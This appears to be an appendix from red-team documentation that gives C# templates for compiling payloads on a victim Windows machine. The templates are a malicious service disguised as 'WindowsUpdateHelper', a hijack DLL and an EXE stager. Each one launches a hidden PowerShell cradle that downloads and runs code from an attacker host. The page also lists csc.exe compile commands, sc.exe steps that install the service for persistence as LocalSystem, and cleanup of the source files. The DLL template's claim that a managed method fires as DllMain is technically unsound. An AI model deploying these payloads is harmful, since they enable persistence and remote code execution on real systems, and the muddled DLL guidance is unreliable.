Skip to main content

Compiled Payloads

This appendix provides C# source code templates for payloads that require specific binary interfaces (service executables, DLLs with exports). All templates are compiled on the victim using csc.exe - the C# compiler shipped with the .NET Framework on every Windows installation. No development tools required on the victim.


Compiling with csc.exe​

csc.exe is the C# compiler included with .NET Framework. It is present on all Windows systems that have .NET Framework 4.x installed (virtually all managed Windows systems):

# Compile a .cs file to an EXE:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /out:output.exe source.cs

# Compile to a DLL:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:output.dll source.cs

# 32-bit compiler (use when targeting a 32-bit host process):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:output.dll source.cs
note

Framework64 compiles x64 managed code. Framework (no 64) compiles x86. Match the bitness to the target process - a 64-bit process cannot load a 32-bit DLL, and vice versa.

Transferring source files: Write the .cs file to the victim using your Meterpreter session (upload), PowerShell Out-File, or one of the download methods in T1105 - Ingress Tool Transfer. Compile in-place, then clean up the source file.

Alternatively - compile in PowerShell memory with Add-Type:

For smaller payloads, Add-Type can compile C# inline without writing a .cs file or invoking csc.exe directly:

Add-Type -TypeDefinition @"
// C# source here
"@ -OutputAssembly "C:\Windows\Temp\output.dll" -OutputType Library

C# Service Executable​

When to use​

Required for Windows Service persistence (T1543.003). The Service Control Manager (SCM) expects a service binary to call StartServiceCtrlDispatcher within 30 seconds of starting. Standard EXEs and msfvenom exe format binaries lack this and fail with "Error 1053: The service did not respond in a timely fashion." This template handles the SCM interface and runs an arbitrary command from OnStart.

Template: service.cs​

Replace the command and arguments variables with your payload. The example below downloads and executes a file from your Kali server on service start.

using System;
using System.Diagnostics;
using System.ServiceProcess;

public class MalService : ServiceBase
{
public static void Main()
{
ServiceBase.Run(new MalService());
}

public MalService()
{
this.ServiceName = "WindowsUpdateHelper";
}

protected override void OnStart(string[] args)
{
string command = "powershell.exe";
string arguments = "-nop -w 1 -c \"IEX (New-Object Net.WebClient).DownloadString('https://<ATTACKER_IP>:8443/<CRADLE_PATH>')\"";

Process.Start(new ProcessStartInfo(command, arguments)
{
UseShellExecute = false,
CreateNoWindow = true
});
}

protected override void OnStop() { }
}

Compile and deploy​

# On victim - write source, compile, then register as a service:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /out:C:\ProgramData\wuhelper.exe C:\Windows\Temp\service.cs

sc.exe create "WindowsUpdateHelper" binPath="C:\ProgramData\wuhelper.exe" start=auto obj=LocalSystem
sc.exe start "WindowsUpdateHelper"

# Cleanup source:
del C:\Windows\Temp\service.cs

DLL with Export Forwarding​

When to use​

Required for DLL Hijacking (T1574.001 / T1574.010 / T1574.011) when the target application calls specific exported functions from the DLL it loads. A plain msfvenom dll exports nothing - the host process will load it (firing DllMain and your shellcode), but any call to a named export will fail, often crashing the host process.

Export forwarding solves this: your DLL exports the names the host expects, but each export forwards the call to the real DLL. Your payload fires in DllMain and the host process continues normally.

Template: proxy_dll.cs​

Replace <REAL_DLL_NAME> with the name of the legitimate DLL being proxied (e.g., version), <EXPORT_1> / <EXPORT_2> with the exported function names the host expects, and the OnLoad payload with your stager command.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

public class DllMain
{
// --- Payload -----------------------------------------------------------
// Runs once when the DLL is loaded into a process.
// Replace the command and arguments with your PS cradle or EXE invocation.
private static void OnLoad()
{
string command = "powershell.exe";
string arguments = "-nop -w 1 -c \"IEX (New-Object Net.WebClient).DownloadString('https://<ATTACKER_IP>:8443/<CRADLE_PATH>')\"";

Process.Start(new ProcessStartInfo(command, arguments)
{
UseShellExecute = false,
CreateNoWindow = true
});
}

// --- DLL entry point ---------------------------------------------------
[DllImport("kernel32.dll")]
private static extern bool DisableThreadLibraryCalls(IntPtr hModule);

[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr LoadLibrary(string lpFileName);

[DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate void VoidDelegate();

public static bool DllEntry(IntPtr hinstDLL, uint fdwReason, IntPtr lpvReserved)
{
if (fdwReason == 1) // DLL_PROCESS_ATTACH
{
DisableThreadLibraryCalls(hinstDLL);
OnLoad();
}
return true;
}
}
note

C# managed DLLs cannot directly export unmanaged symbols by name without additional tooling (like DllExport NuGet). For full export forwarding in a managed DLL, use the mixed-mode compilation approach below, or use the simpler approach of writing the DLL in a .def file and compiling with csc.exe /addmodule. In practice, for DLL hijacking scenarios where the host just calls LoadLibrary without checking exports, the basic template above is sufficient - DllMain fires and the process continues.

Compile​

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:C:\Windows\Temp\version.dll C:\Windows\Temp\proxy_dll.cs

C# EXE - Inline PS Stager​

When to use​

When you need a standalone EXE that behaves identically to a PS cradle execution but launches from a non-PS process. Useful for Active Setup (T1547.014) and IFEO Injection (T1546.012) when you want an EXE stub that fires the fileless cradle without a visible powershell.exe command line.

Template: stager.cs​

using System;
using System.Diagnostics;

class Stager
{
static void Main(string[] args)
{
string cradle = "IEX (New-Object Net.WebClient).DownloadString('https://<ATTACKER_IP>:8443/<CRADLE_PATH>')";

Process.Start(new ProcessStartInfo("powershell.exe",
$"-nop -w 1 -c \"{cradle}\"")
{
UseShellExecute = false,
CreateNoWindow = true
});
}
}

Compile​

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /out:C:\ProgramData\stager.exe C:\Windows\Temp\stager.cs
del C:\Windows\Temp\stager.cs

Compiling on Kali (Cross-Compilation)​

If you prefer to compile on Kali and transfer the binary to the victim, use mono-mcs (Mono C# compiler):

# Install if needed:
sudo apt install mono-mcs

# Compile EXE:
mcs -target:exe -out:output.exe source.cs

# Compile DLL:
mcs -target:library -out:output.dll source.cs
note

Mono-compiled binaries run on .NET Framework (Windows) without Mono installed on the victim - they are standard CLR assemblies. However, test against your target .NET version; some P/Invoke signatures and runtime behavior differ between Mono and Microsoft CLR.


Payload Reference Table​

TemplateOutputTechnique
Service EXE.exe (SCM-compatible)T1543.003 Windows Service
DLL stub.dllT1574.001 / .010 / .011 DLL Hijacking, T1546.015 COM Hijacking
Inline stager EXE.exeT1547.014 Active Setup, T1546.012 IFEO Injection